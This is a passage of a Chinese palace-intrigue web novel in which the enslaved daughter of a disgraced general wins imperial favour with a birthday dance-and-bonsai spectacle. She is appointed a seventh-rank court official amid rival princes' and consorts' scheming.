不一会儿,陷入沉思的昭帝好像是自言自语地说道:“这个乐阑珊,成了罪奴还能让衍儿和诚儿刀剑相向,不祥啊。太后亦会当众赏赐,不知太后会如何赏赐?”
俪贵妃小心地说道:“是啊,此次衍儿胡闹,多亏了宁王出面调停。”
俪贵妃和裴曦的母亲景皇贵妃向来不和,昭帝不信俪贵妃是真心感谢裴曦,不过是借此提醒,裴曦干涉过多。
昭帝:“太子被废,宁王是二皇子,理应长兄如父!”
俪贵妃慌忙改口:“是,宁王一向稳重,颇有兄长风范。”
议论多了,昭帝忽然感觉无趣,借口公务繁忙,起驾回了自己的寝殿养心殿。
留下俪贵妃一脸的茫然。
昭帝性情阴晴难测,俪贵妃不知道自己今天是否说出了什么。
回养心殿的路上,看着天上的繁星,忽然想起很多年前,护国公得胜回朝时,也是在这样一个星空下,对他这个当时并不显赫的皇子说:“殿下,为君者,当如北辰,居其所而众星拱之。”
如今,拱卫他的将星已陨,而新的星辰……似乎正在不该亮的地方闪烁。
昭帝突然让停下来,转道去了景皇贵妃的寝宫繁华宫。
景皇贵妃没有想到昭帝会突然来,赶忙接驾。
昭帝没有言语,直接进了寝殿。
“陛下,这么晚了,怎么有空来臣妾宫中?”景皇贵妃问道。
“怎么,不想朕来吗?”
“.......”景皇贵妃不知如何回答。
她是护国公夫人娘家的亲戚,自从皇后驾崩,太子被废,护国公全府被查抄后,她便深居简出,再没有奢求圣宠。
今天昭帝突然来了,她颇感意外,一时摸不清就里。
景皇贵妃想安排夜宵,被昭帝制止了。
“你知道曦儿出面,制止了诚儿和衍儿的打斗吗?”昭帝问道。
第40章 寿宴将至风满楼
“臣妾不知,还没有到曦儿入宫请安的日子,臣妾不知外面的事,曦儿请安时也从不和臣妾谈及朝堂的事。”景皇贵妃答道。
“兄弟之间口角几句很正常,算不得朝堂之事。”昭帝轻描淡写道。
景皇贵妃微笑着答道:“陛下说的是。曦儿,衍儿和诚儿都大了,他们自会处理兄弟间的事。”
昭帝没有再问什么,而是留宿了下来。
夜深了,露水洒满了宫墙。
裴曦站在宫道上,从远处眺望繁华宫的动静。
作为大昭国的二皇子,他比不得太子,是正宫皇后所出,天定的继承人,自带保护色。
他也比不得四皇子裴衍,母妃宠冠后宫。因为善武,很有昭帝年轻时的风采,自幼就得昭帝宠爱,又从师护国公,武艺精湛,屡立战功,早早地就被封为天策将军。
他这个二皇子,有太子时他是太子的威胁。没有太子时,他是所有人的眼中钉。
而他的母妃,虽然和护国公夫人沾亲带故,可从来没有因为这层亲属关系得利过,反倒是因为护国公获罪受了牵连。
母妃常说:“别看母妃的宫殿叫繁华宫,可惜这世上没有永远的繁华。”
受母妃影响,居安思危,加上天生身体羸弱,不适合练武,他自小便学会了低调为人。
今天白天,是他难得的几次出头处理兄弟间的**。
出手只为了受害的一方是乐阑珊!
还记得那年宫中盛宴,庆贺护国公边关凯旋。乐阑珊才只有十一岁,就已经展露出她超群的魅力。
裴曦第一眼看到乐阑珊,便惊为天人,从此再也无法忘怀。
他知道乐阑珊身边一直有裴衍,那个护国公的得意门生。
乐阑珊和裴衍青梅竹马,情深意重。
那时她眼中只有她的衍哥哥,整个世界的阳光都跟着他走。
而自己站在阴影里,第一次尝到了‘求不得’的滋味,像一口冰冷的井,在心里凿了这么多年。
可裴曦从来不认为裴衍是乐阑珊的良配,他相信有一天乐阑珊会属于自己。
这些年来,他推掉了数门亲事,好容易看到她长成了大姑娘,亭亭玉立,还没有来得及想提亲,就传来了噩耗,护国公获罪,她成了罪奴。
他想出面求情,无论如何不能让乐阑珊进杂役司。
母妃拦住了他,不准他出面过问护国公的事情。而她自己也因为和护国公沾亲带故,在宫中“隐身”避嫌起来。
皇后薨后,她身为皇贵妃,却借口身体不佳,推掉了主管六宫的职责。
“曦儿,在宫中首先你要保全自己,才能帮你爱的人。”母妃这样教导他。
他忍住了所有的冲动,让自己置身事外。
可是今天,他看不得裴衍如此待乐阑珊,忍不住出手了。
没想到自己的出手,引发了父皇的动作。
他问自己:是福还是祸?
第二天,昭帝留宿景皇贵妃宫的消息便传遍了皇宫。
俪贵妃气得当即把屋里的花瓶砸了一地。
她盛宠多年,这是昭帝第一次半路去了其他嫔妃那里,还过了夜。
从今往后,她在宫里的“神话”就被打破了。
宫人跪了一地,不断地哀求,才让俪贵妃渐渐冷静下来。
思前想后,都怪这个乐阑珊,真是“红颜祸水”,绝不能让她嫁给裴衍。
裴衍,她为之操劳了一生的儿子,必须要继承大统,哪能让一个罪奴毁了前程。
俪贵妃的手指渐渐握紧,指尖深深压进了掌中。
宫中此等“风流段子”传得比什么都快,连乐阑珊自己都很快听到了,不过故事早就走了样了。
作为段子的中心人物,乐阑珊却是忧心忡忡。
“裴衍啊裴衍,你不仅不能帮我,好好待我,还来破坏我的计划。我苦心经营的庆典,快要被你彻底毁掉了。”乐阑珊在心里骂上了一千遍。
她不得不重新考虑对策。足尖无意识地在排练场上划过,思索着若流言导致太后或皇帝不喜,该如何在表演中融入更强烈的意象,以扭转观感。
流言传到了邓尚书耳中,他只是轻轻地来了一句:“自己作死!”
便立刻驱车,去平王府找
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邓馨儿。
听了父亲的建议,邓馨儿心中有一万个不乐意。
邓尚书冷着脸,和女儿好好分析了一下局势,邓馨儿这才慢慢地明白了过来。
祥嫔寝宫。
裴诚跪在祥嫔面前,祥嫔手里握着一方戒尺。
“诚儿,你知道错了吗?”祥嫔厉声问道。
“儿臣知错了。”裴诚低头答道,“可儿臣如果不出手,只怕乐姑娘会有生命危险。”
“有一种危险,叫作你认为危险。”祥嫔叹道,“平王纵然武将秉性,但绝不会真的伤了乐姑娘的性命。乐姑娘如果连这点都应付不了,又何谈其他?”
她口气更加严厉了:“倒是你,没有这个能力却强出头,不仅没有帮得了乐姑娘,还差一点坏了事。”
说罢,她举起戒尺,照着裴诚的后背打了下去:“诚儿,母妃今天打你,是让你以后牢记住,凡事不要强出头,出手前先要看清楚自己的实力。”
打了十下,祥嫔止住了手,放下戒尺,坐下道:“诚儿,此次太后寿宴风云难测,你可要小心行事,切莫落人口舌。你父皇最忌的,就是儿子们为同一个女子失了分寸。今日你为乐氏拔剑,在他眼里,与你四哥掐她脖子,本质无异——都是‘失控’。”
“母妃教训的是。”裴诚忍着痛,真心地认错。
传言却偏偏没有传入裴衍的耳中。
秋辞听闻流言后,原本想禀告给自家的王爷。但转念一想,自家王爷何时在意过流言蜚语?即使自家禀告过了,裴衍也会当作耳旁风。
事情闹到满皇宫风雨,对自家王爷和乐姑娘都不是好事。可惜,自己一个小小的副将,人微言轻,能做什么呢?
秋辞默默地祈祷起来,希望太后寿宴庆典一切平安,不要有什么意外,乐姑娘可以得到她希望中的赏赐。
虽然秋辞满腹心事,可裴衍却是在思索如何可以把乐阑珊留在身边。
一切都看太后和陛下如何赏赐了,自己必须做最后的努力。
裴衍暗自叮嘱自己。
瞩目已久的太后寿辰庆典,终于来临了。
第41章 一舞造山河
太后寿诞,皇宫上下张灯结彩。
宫女太监穿梭般行走在皇宫各处,各宫嫔妃们早就盛装等待庆典的开始。
昭帝率领文武百官、皇亲国戚,盛装进入正殿。
齐太后一身凤冠霞帔,在众宫人簇拥下,进入了正殿。
寿辰庆典先是祭祀天地和列祖列宗,然后昭帝率领众臣和皇族们,恭贺齐太后华辰。
晚宴时分,庆典正式开始。
此时皇宫内华灯齐放,正殿内丝竹声悠扬而起,带着一丝寻常宴饮的慵懒。
众宾客早就听惯了这千篇一律的歌舞升平,无人很在意,只是礼节性的欣赏。
裴衍开始有些不自在起来,裴诚却是一副无所谓的样子。
齐太后心中略有不安,偷眼看看昭帝。
而昭帝则是端坐不动,无人看得出他的反应,只有裴曦注意到,昭帝的手指在轻轻地敲着大腿。
就在大家都感觉失望的时候,满殿灯火倏然暗下一半,只留几束清冷的光,聚焦于殿中央。
一袭素白身影,宛如月下凝聚的一缕精魂,静立于光影之中。
正是乐阑珊。
她一袭素纱,墨发逶迤,别了一支青翠的玉簪,周身再无点缀。与身后尚被巨幅明黄绸缎覆盖的盆景基座遥遥相对,一人一景,皆覆着未解的谜。
琴音突变,如冰泉破涧。
乐阑珊随之而动,却不是柔媚之姿,而是舒展开如同古松探枝般的凝练与力道。水袖甩出,如剑如笔,在空气中划开无形的轨迹。每一个回旋,都带着破开枷锁的决绝;每一次顿足,又似承载着千钧重负。
她的舞,不是在取悦,而是在诉说,在构建,在叙述一个千古绝唱。
随着她舞姿的牵引,那覆盖盆景的巨幅绸缎竟无风自动,随着她袖摆的起伏,层层褪去、滑落!
她双臂如揽月,向上缓缓托举,绸缎便如流云般升腾,露出其下嶙峋的山石基座;
随后腰肢如折柳,俯身低回,纱裙旋开如涟漪,那“山峦”间便仿佛有瓷片铺就的银河开始流淌出清冷光辉;
最后指尖颤抖着模仿松针绽放,旋即掩映在朦胧中的虬劲黑松便仿佛瞬间被注入了灵魂,枝干在光影中显出峥嵘姿态!
她不是在展示一个已成型的盆景,而是在用舞蹈,一砖一瓦地“建造”出这片微缩江山!
舞蹈是虚,盆景是实。虚实之间,被她用身体与情感完美串联。
当她最后一个动作定格,如苍松扎根于岩壁,坚韧而孤独地望向苍穹时——一幅完整的“**江山图”,呈现在所有人眼前。
与此同时,数十名身着碧色纱衣的舞姬,手持内嵌夜明珠的莲花灯,悄无声息地步入这片盆景仙境之中。她们身影在雾霭与松影间若隐若现,衣袂飘飘,仿佛自画中走出的山精林魅,为这静止的江山注入了灵动仙气。
静与动,刚与柔,山石的永恒与雾气的缥缈,在此刻完美交融。
舞止,景成。
没有掌声,没有喧哗,只有一片死寂般的震撼。
殿内的震撼尚未平息,御前总管已满面红光地高声宣道:“请陛下、太后娘娘、诸位殿下、众位大人移步承天门楼,共览天象祥瑞!”
这一声,将所有人从盆景的微观江山中拉回,心潮却随之推向更广阔的天地。
一行人簇拥着帝后登上高高的城楼,凭栏远眺,眼前的景象,让即便是最见多识重的老臣,也忍不住倒吸一口冷气,发出由衷的惊叹。
只见目光所及之处,整个皇宫每一座宫殿的轮廓,都被巧妙地用琉璃宫灯勾勒出来,而宫殿的主体墙面,则用特制的荧光涂料,绘制成了一幅幅恢宏的盆景画卷!
正和殿的墙壁上,是一株顶天立地的苍劲青松,枝干以荧光勾勒,在夜色中散发着巍巍然的绿芒;
玉清宫的壁面上,则是几只形态各异的仙鹤,翩然欲飞,鹤羽的荧光洁白如玉,与青松遥相呼应。放眼望去,重峦叠嶂的宫殿群,竟化作了一片连绵不绝的光影盆景园林!
松、竹、梅、兰,各种寓意高洁长寿的意象,在皇城的建筑上熠熠生辉与殿内那微观盆景气脉相连,构成了一个虚实相生、大小映照的奇幻世界。
“这……这简直是巧夺天工,非人
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力所能为啊!”一位老臣颤声感慨。
就在众人沉浸于这地面“盆景”的奇景时,突然一朵巨大的金色烟花在夜空中轰然绽放,如同天女散下金辉。
紧接着,是第二朵、第三朵……无数绚丽的烟花争先恐后地升起,将整个夜幕渲染得流光溢彩,如同白昼。
当最后一轮、也是最庞大的一簇烟花在升至最高点后,缓缓地向着下方那些由荧光绘制的宫殿盆景飘落。
金色的、银色的、红色的光点,如同蕴含着生命的萤火,丝丝缕缕地融入那青松的枝干、仙鹤的羽翼、灵芝的菌盖……
光点落定,奇迹诞生。
那正和殿壁上的青松,树干上赫然由流动的金光组成了一个巨大的“松”字;玉清宫上的仙鹤,羽翼间银辉闪烁,构成了一个飘逸的“鹤”字;另外两座主殿上,则分别由红霞般的烟火,凝聚成了“延”、“年”二字!
松——鹤——延——年!
四个由天火书写、依托于地面光影盆景而存在的巨字,横亘于整个皇城之上!
盆景中有字,字即是盆景!微观的殿内盆景,宏大的宫殿盆景,以及这最终由天火铸就、与建筑融为一体的文字盆景,在这一刻构成了一个从案头到宫阙,再到苍穹的、完美无瑕的献礼序列。
齐太后激动得浑身颤抖,眼中闪烁着泪光。她看到的,不仅是巧夺天工的技艺,更是那熟悉的、属于她旧友——护国公夫人的风骨与气韵!这盆景,有钢铁的脊梁,亦有绕指的柔情,这分明就是她记忆中那个人的模样!
昭帝仰望着这天地交辉的奇景,胸中豪情万丈,声音带着难以抑制的激动,朗声道:“天降祥瑞,松鹤延年!此乃上天与万民,对太后无上的敬仰,亦是对我大昭国运最美好的祝愿!”
城楼之下,万千百姓目睹此情此景,无不跪伏于地,山呼海啸般的“万岁”声,响彻了云霄。
这一刻,乐阑珊的名字,随着这震撼人心的天地盆景,深深烙印在了每个人的心中。她不仅献上了一份寿礼,更缔造了一场神迹。
裴衍被盆景震撼了。
第42章 你们真的知道我想要什么吗
从乐阑珊一舞亮相那一刻起,裴衍的眼睛就如同被一道闪耀的光芒震慑住,浑身动弹不得。
眼前掀开的一幕幕,如梦如幻,裴衍如同在梦境中云游,更像是升入九天缥缈,翱翔四方。
这是自己那个自小长大的阑珊妹妹吗?
只知道她多才多艺,不知道她的舞技已经到了出神入化的地方。
他甚至庆幸凤娇娇的被害。
凤娇娇的技艺固然天下第一,然后舞姿过于妖娆、阴柔,根本展现不出今晚这副“江山**图”和“松鹤延年”的风骨。
而乐阑珊的舞姿柔中藏刚,妩媚中含着坚韧,才彻底体现出了今晚盆景的大气和恢宏,称得起风华绝代。
偷眼望去,不仅自己,其他的宾客都看呆了。
此等天上人间绝无仅有的场面,已经找不出任何可以形容的词汇了。
阑珊妹妹,不愧为武将之后,这等筋骨,非寻常舞姬可得。
乐家更不愧为京城第一盆景之家,这以舞成景,盆中有字,字中有景的绝妙设计,别具匠心,
展示结束后,乐阑珊路过裴衍身边,并没有看他,而是直接走向昭帝和太后。
裴衍想表达心中的敬意,却无人给他这个机会。
但见乐阑珊走到昭帝和太后身边,深深一礼:“罪臣之女乐阑珊恭贺太后娘娘松鹤延年,长乐永安!”
表演带来的震撼尚无褪去,此时无数道目光,或欣赏、或嫉妒、或审视,都集中投射到乐阑珊那那纤细却挺得笔直的身影上。
齐太后的眼眶一直湿润着,即使努力抑制内心的起伏,可是脸上还是无法掩饰心潮澎湃。
她的目光一直凝视着乐阑珊,努力将眼前的人和记忆中的闺中好友分开。
可那舞姿,那风骨,那精湛的盆景,分明就是当年以爽朗兴趣名噪京城的护国公夫人再世。
迎着齐太后复杂难辨的目光,乐阑珊呼吸微促起来。
她垂首跪在冰凉的玉阶之下,身体在舞衣下几不可察地轻颤。
三年杂役司的磋磨,未曾折损她的心智,反而为其增添了几分令人心折的坚韧,让她此刻因技艺而绽放光芒。
一丝几不可见的叹息在齐太后心底划过,她缓缓开口,声音带着雍容与不容置疑:
“乐氏女阑珊,尔才情卓绝,孝心可嘉。这一幕《松鹤延年》,舞技超群、盆景独特、意境高远,更难得的是这一份为哀家寿辰呕心沥血之心。哀家,心甚慰。”
此言一出,裴衍紧握的拳微微松了半分,眼底掠过一丝希冀。
裴诚则唇角微勾,似笑非笑。他悄然看了看祥嫔,正好迎上祥嫔的目光,母子二人会心地用目光彼此肯定着。
裴曦的目光依旧深邃,看不出喜怒。
齐太后环视了一下四周,然后问道:“乐阑珊,你筹划、主办寿辰有功,哀家欲嘉奖你。说吧,你希望什么样的赏赐?”
”多谢太后娘娘,奴婢想....“
乐阑珊还未说完,裴衍闪身而出:“太后,乐阑珊乃平王府奴婢,有此大功一件,孙儿想除去她的奴籍。”
一听此话,邓馨儿急了,忙跟着出列:“太后娘娘,乐阑珊协助平王完成寿宴庆典,功不可没。臣妾愿附议,并请求将乐阑珊收为通房。”
乐阑珊生气了:“平王,侧王妃,太后问的是奴婢,无需王爷和王妃替奴婢求取。”
“阑珊,你就这么想忤逆本王吗?侧王妃如此大度、通情达理,你为何还在赌气?”
乐阑珊冷笑道:“王平爷见谅,阑珊不过是一个奴婢,不敢也不配和侧王妃赌气。奴婢只想按照自己心愿,向太后求赏。”
裴衍转向乐阑珊:“阑珊,难道本王求的,不就是你所想的吗?”
乐阑珊正要答复,邓馨儿接了过去:“是呀,如此一来,乐姐姐不但脱离了奴籍,还可以成为王爷的通房。王爷处处为乐姐姐考虑,乐姐姐为何不领情呢?”
“平王爷,侧王妃,你们真的知道奴婢想要什么吗?”乐阑珊
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盯着裴衍和邓馨儿问道。
“乐姐姐,难道你想一辈子当奴婢,想入贱籍吗?”邓馨儿故作委屈地问。
一提“贱籍”,众人都浑身一抖。
俪贵妃开口道:“太后娘娘,按照大昭律法,乐阑珊需要入贱籍。”
全场瞬间鸦雀无声。
裴诚着急地看了祥嫔一眼,祥嫔用眼神暗示他不要言语。
裴衍急了,大声说道:“母妃,阑珊有功于太后庆典,理应法外开恩。太后娘娘也有意恩赏,阑珊可得特赦,不入贱籍。”
邓尚书立刻出列,躬身一揖,声音洪亮而坚定:“贵妃娘娘圣明!老臣正有此意!平王爷,国法纲纪,乃立国之本,若因一人之才情而动摇,则国基不稳,后患无穷!”
他语气沉痛,仿佛乐阑珊若得赦免,国将不国。
“父亲此言差异。”邓馨儿上前一步辩道,“今日乃太后寿诞,特赦有何不可?王爷宅心仁厚,想赦免乐姐姐入贱籍,还望父亲成全。”
邓尚书:“不是我不成全,是大昭律法不成全。”
自始至终,乐阑珊保持直挺的身体,面色沉静地看着邓家父女的言语。
“还真热闹啊!”一直看热闹的昭帝,慢悠悠地看口了,“没想到,一个小小的罪奴,居然引得贵妃和尚书,还有王爷和王妃如此关注。乐阑珊,你真是本身不小啊。”
乐阑珊坦然地回答:“多谢陛下赞赏,奴婢乃是一罪臣之女,大昭的罪奴,自然无法自己决定自己的命运。可奴婢不想就此认命,故太后寿诞庆典一搏,希望以奴婢微薄之力,可以改变明天的命运。”
昭帝:“既然如此,你希望明天是何命运?”
乐阑珊:“陛下乃万古明君,体恤民间疾苦;爱民如子,希望每个臣民都得到公平的对待。”
“呵呵!”昭帝笑了起来,“看了乐姑娘这是有大恩相求。”
他转向齐太后,说道:“母后,今天是您的寿辰,这盛世恩典,还请母后裁决。”
第43章 意外的恩典
所有人都注视着齐太后。
裴诚很紧张,手心攥出了汗。
乐阑珊也有些紧张,等待命运的决断。她为之苦等了三年,又努力了大半年,就为了这一刻。
只见齐太后不慌不忙地环顾了一下众人,目光如古井无波,最终在邓尚书与俪贵妃身上略有停留,语气变得沉凝:
“俪贵妃和邓尚书所言极是,赏罚需分明,国法如山,不可轻废。罪奴之身,主持庆典已属特例恩典,若再行破格擢升为通房,似有不妥,恐寒了天下遵纪守法臣民的心,于礼法不合。”
俪贵妃亦适时地拿起绢帕,轻轻按了按并无凝泪的眼角,语调带着恰到好处的忧虑与柔婉:
“母后,陛下,臣妾亦知乐阑珊有才。只是衍儿与诚儿前曾不久因她刀剑相对,兄弟阋墙皆因她而起。此女若再留于衍儿身侧,只怕日后徒生更多事端,伤了天家和气。臣妾身为母亲,实在忧心不已。”
裴诚心中暗自骂道:“好一招转移视线,如此巧妙地将众人注意力引向了兄弟纷争,将“红颜祸水”的骂名无声无息地给乐阑珊安上了。”
邓馨儿猛上前一步,盈盈拜倒,声音温婉柔顺,带着几分楚楚可怜:“父皇,太后娘娘,贵妃娘娘。乐姐姐虽有不是,但毕竟与馨儿曾有同窗之谊,且才华过人。馨儿恳请父皇、太后开恩,不若就让乐姐姐继续留在平王府,馨儿愿以侧妃之位担保,定会好好教导她规矩,让她安心侍奉,绝不再生事端。”
乐阑珊用眼角扫视了一下邓馨儿,那目光分明是在说:“你不必假意求情,你的句句话都在坐实我的’不安分‘,并将’留在王府为奴‘定为最佳归宿。你真的希望我留在王府?”
场面一时僵持住了。
邓尚书以国法压人,俪贵妃以家事搅局,裴衍以私情感人,邓馨儿以“贤德”示人,四方合力,几乎要将乐阑珊所有的生路堵死。
乐阑珊跪在下方,指尖深深掐入掌心。她能感受到一张无形的网正在收紧。
难道自己所有的努力都失败了吗?难道太后的赞赏在冰冷的**权衡面前,真的就会如此脆弱,不堪一击吗?
就在这时,太后将目光重新投向乐阑珊,带着一丝不易察觉的怜惜,缓声道:“乐阑珊,封赏是你的。那哀家问你,你自身,有何所求?”
乐阑珊深吸一口气,压下喉头的哽咽,以额触地,清晰地说道:“罪奴不敢求赏。唯愿陛下、太后开恩,若能赦免罪奴家人之苦,允他们回京,罪奴愿终身祈福,结草衔环以报!”
此言一出,连齐太后在内的所有人都震惊了。
都以为乐阑珊定会要脱离贱籍或者奴籍的请求,至少也该是丰厚的珠宝钱财赏赐。
可乐阑珊要的是赦免乐家。
这可是冒生死之险,一旦天威震怒,不仅得不到封赏,还会惹祸上身,乃至性命不保。
裴衍急的想骂:乐阑珊,你是不是活腻了?
连裴诚都急得直想跺脚:乐阑珊,你此时不求自由,以后再难得这么好的机会了。
邓尚书脸色更沉。俪贵妃亦面露不悦。
“乐阑珊,你可知道,乐家获罪,可是朝堂所为?”齐太后问道。
“奴婢不敢忘。三年流放,祖父和父亲母亲早有悔过之意。还望太后、陛下,看在祖父多年为国征战份上,让奴婢求得恩典,放他们回京。”
“你知道如果哀家应允他求,你就会堕入贱籍?”
“奴婢愿入贱籍,换来家人回乡团聚!”
说罢,乐阑珊以头碰地,磕起响头来。
齐太后长叹了一声,然后说道:“是否赦免乐家,此乃朝堂之事。后宫不得干政,还请陛下定夺。”
一旁沉默的昭帝,目光深邃地掠过邓尚书的“刚正”,俪贵妃的“忧心”,裴衍的“多情”,邓馨儿的“贤惠”,最后落在乐阑珊那卑微却难掩风华的身影上。
他沉吟片刻,仿佛权衡了所有利弊,随即,一道沉稳而充满力量的声音响起,一锤定音:
“母后,诸位爱卿。”他声音不高,却瞬间吸引了大殿内所有的注意力,“乐氏之才,确如母后所言,毁于杂役司,是朝廷之失,亦是国之损失。”
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他微微一顿,目光如炬,看向乐阑珊:“然国法不可废,人才亦不可弃。邓尚书所言有理,贵妃之虑亦有其情。朕观乐阑珊,其才在盆景营造,其志在家人团聚,其性坚韧,堪为可用之材。”
他环视全场,最终宣布了那个让所有人都意想不到的决断:“朕决定:念乐阑珊营造太后寿辰庆典有奇功,故褫其‘罪奴’之名,改入‘匠籍’。即日起,乐阑珊入将作监,任苑作司丞,秩正七品,专司宫中盆景、园林设计与庆典营造之事。”
“匠籍!”
“苑作司丞!”
“正七品!”
这几个字如同惊雷,炸响在每个人的耳边!
邓尚书愣住了,他反对免贱籍,皇帝确实没免,只是换了个“籍”,但这“匠籍”乃是凭手艺吃饭的技术官籍。
从此刻起,乐阑珊就是宫中女官了,地位远超平民,更非奴籍可比!
他张了张嘴,却发现无话可说。
俪贵妃也怔住了,乐阑珊的确没有安置到平王府,却成了宫中女官,这岂不是给了裴衍娶乐阑珊的机会!
她看向裴衍,只见裴衍脸上血色尽褪,眼中是巨大的震惊与半喜半忧。
邓馨儿那温婉的笑容僵在脸上,几乎维持不住。自己原本是要求来让乐阑珊为奴为婢,好让自己拿捏。结果却让她成了“乐大人”?那不是等于成全了她和裴衍了吗?
而乐阑珊本人,更是如遭雷击,猛地抬起头,不敢置信地望向昭帝。
从罪奴到七品女官……这身份的云泥之变,让她大脑一片空白。
原本她所求的家人赦免虽未被允准,但这条“匠籍”之路,无疑给了她一个前所未有的台阶,让她可以凭自身能力去争取更多的机会!
昭帝将众人的反应尽收眼底,语气平淡却带着最终的裁决意味:“如此,既不违国法,亦不埋没其才。乐阑珊,你既脱奴籍,便当恪尽职守,以你的技艺,报效朝廷。你家人之事……且看你日后作为。”
他没有把路堵死,却也将一份沉甸甸的责任与未来,交到了乐阑珊自己手中。
第44章 成了“乐司丞”
乐阑珊跪在那里,耳中嗡嗡作响,几乎听不清后面的赞礼与笙歌。
“匠籍”、“苑作司丞”、“正七品”……这几个词在她脑中反复冲撞。
她赌赢了,却也没完全赢。
因为裴衍的“帮倒忙”,乐阑珊放弃了为自己争取自由的机会。她很清楚,裴衍和裴诚一旦动手,自己必将为皇家所不容。
这个自由身对哪一方都是威胁。
不如反过来求赦免家人,虽然危险,但是一旦赢了,可以用自己卑微的生命,换取家人不再受苦。
可今天她既没能得到自由身,也没能换来家人的即刻赦免,却为自己挣来了一条前所未有的路——一条可以站着走,甚至有机会掌握自己命运的路。
看来以后自己的命运、还有乐府上下的命运,都要靠自己的努力了!
“乐司丞,还不快领旨谢恩?”御前总管太监带着笑意的声音在她头顶响起,带着一丝不易察觉的讨好。
乐阑珊深吸一口气,压下翻涌的心潮,以最恭敬的宫礼叩首下去,声音清越沉稳:“臣,乐阑珊,领旨谢恩。陛下万岁,万岁,万万岁!太后娘娘千岁,千岁,千千岁!”
这一声“臣”,她喊得郑重其事,仿佛将三年来所有的**都碾碎在了这两个字里。
“先别忙着谢恩。”昭帝笑道,“你的身契还归属于平王府。等你有了成效,方可转入将作监。”
乐阑珊再次震惊。
做了女官,有了新的责任,却没有身份自由,陛下这是何意?
她抬起头,目光正迎上裴衍复杂的视线。
那里面有震惊,有失落,或许还有一丝为她欣喜的释然,但更多的,是一种掌控权流失的愠怒。
他亲手从杂役司捞出来的人,转眼间成了与他有君臣之别的“乐司丞”。
但很快,裴衍的目光又转为暗喜,毕竟乐阑珊的自由还掌握在自己手中。
邓馨儿的脸色苍白得吓人,双手在颤抖。她怎么也没想到,自己一番“贤惠”的表演,非但没把乐阑珊按死在奴婢的位置上,反而推了她一把,让她鲤鱼跃龙门,成了官身!这简直是对她最大的嘲讽!
裴诚的嘴角勾起一抹真心的笑意,对着乐阑珊的方向微微颔首,目光中带着欣赏与更深的谋划。
祥嫔依旧端庄地坐在席间,仿佛一切尽在预料之中。
景皇贵妃似乎没有感受到身边的任何变故,只是一副静观其变的淡然。
裴曦嘴角挂着公事般的笑容。
而高座上的昭帝与齐太后,只是淡淡地看着台下众生相,如同俯瞰棋局。
寿宴在一种微妙的气氛中开始,但所有人的心思,都已不在歌舞酒宴之上。
宴席散后,乐阑珊被宫人引至偏殿,正式接过了司丞的官服印信。
那是一件七品女官的浅青色宫装,质地普通,却比她三年来穿过的任何一件衣服都来得沉重。
“乐司丞,将作监那边会为您安排了值房。苑作司事务繁杂,您三日后便可上任。”引路的女官语气恭敬。
“有劳。”乐阑珊颔首,语气不卑不亢。
她走出宫殿,夜风拂面,带着深秋的凉意。她抬头望向漫天繁星,深深吸了一口气。
福祸总同行,这是自小祖父告诫自己的。此时,乐阑珊感受到了这句话的威力。
“乐姑娘……不,乐司丞。”一个低沉的声音自身后响起。
乐阑珊回头,是秋辞。他脸上带着伤后的疲惫,眼神却亮得惊人。
“秋副将,你的伤……”
“无碍。”秋辞打断她,目光灼灼地看着她,“末将……恭喜乐司丞。”
“多谢。”乐阑珊微微一笑,“也多谢你今日,以及往日多次回护之恩。”
秋辞摇了摇头,低声道:“司丞日后在宫中,万事小心。将作监并非清静之地,苑作司更是水深难测。”
乐阑珊心中一凛,郑重道:“我明白,多谢提醒。”
秋辞深深看了她一眼,抱拳一礼,转身没入夜色中。他知道,从今往后,他与她
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,已是云泥之别,能做的,唯有远远守护。
乐阑珊正要随宫人去往临时住所,却见瑞王府的马车悄无声息地停在不远处。裴诚撩开车帘,含笑道:“乐司丞新官上任,可需小王送上一程?正好,母妃有几盆心爱的兰花,想请司丞品鉴一番。”
乐阑珊心知这是祥嫔娘娘有意照拂,也为她明日入职先行铺垫,便坦然应下:“有劳瑞王爷。”
马车内,裴诚看着她,笑道:“怎么?还在想你那五十万两赎身银?”
乐阑珊一怔,没想到他会提起这个。
裴诚低笑:“如今你已是朝廷命官,平王若再敢拿身契和赎银说事,便是藐视朝廷。这一局,你赢得漂亮。”
乐阑珊却摇了摇头:“王爷说笑了。臣与平王府的约定,是私事。臣既已脱奴籍,更当恪尽职守,以报皇恩。”她将“臣”字咬得清晰,是在提醒裴诚,也是在提醒自己——她与这些天潢贵胄的关系,已然不同。
裴诚眼中闪过一丝激赏,不再多言。
与此同时,平王府书房内,一片狼藉。
裴衍一脚踹翻了紫檀木案几,胸膛剧烈起伏。“苑作司丞……好一个苑作司丞!乐阑珊,你真是好本事!”
邓馨儿在一旁垂泪:“王爷,都是妾身不好,若不是妾身多嘴……”
“闭嘴!”裴衍怒喝,“滚出去!”
邓馨儿吓得一颤,掩面退下,眼中却闪过一丝狠毒。乐阑珊,你成了女官又如何?只要你在宫中,我就有千百种方法让你生不如死!
周叔战战兢兢地进来收拾,低声道:“王爷,乐……乐司丞如今是陛下亲封的女官,您……还需从长计议。”
“有何可计议的?”裴衍悻悻地骂道,“她的身契还在我平王府,无论她在宫里还是宫外,无论她做到什么高位,都还是我平王的人。三件事、五十万两,一样也不能少!”
随后,暗自咬牙切齿地发狠:“阑珊,你只可能是我的。我绝不会让你成为自由之身。”
第45章 你永远是本王的人
太后寿宴的流光溢彩尚未在京城夜空中久久未能消散,乐阑珊的名字犹如一颗猝然升起的星辰,灼灼耀眼。
三日后,她将正式入将作监,授“匠籍”,领从七品司丞职,专司宫苑盆景营造。
此旨意一出,朝野上下震惊。
罪奴擢升,虽非绝无仅有,但在太后寿宴立下如此奇功后破格拔擢,意义非凡。
尤其是乐阑珊是护国公的嫡孙女,罪臣之女。
这不是一般的技艺认可,而是一道微妙的赦免前奏。
朝野上下都在猜测,皇家对护国公旧案好像开始有一丝丝的松动了。
不过这道恩旨并非即刻生效。
皇宫内廷有制,凡外召工匠入监,需原主家出具“放还文书”,并加盖府印,证明此人暂时归属将作监调用,与原主家暂脱奴籍干系。待等五年后,才可以脱离原奴籍,身契正式归入宫廷,成为自由之身。
期间,如果有突出成绩,皇家亦可特别恩典,提前脱奴籍。
乐阑珊的“原主家”,就是身契归属地---平王府。
寿宴结束后的第二日清晨,乐阑珊便不得不再次踏入那扇对她而言堪比炼狱入口的朱漆大门。
她已经褪去了将作监的官服,换作普通的便装,外面匆匆罩了件半旧的靛蓝披风,乌发只用一根玉簪松松挽着,脸上带着彻夜未眠的疲惫与苍白,眼底却燃着两簇冰冷的、决绝的火光。
要想获得自由之身,解救祖父全家,必须要在将作监做出成绩。
可是去将作监的第一步,便是拿到那张纸,盖着平王府章的那张纸。
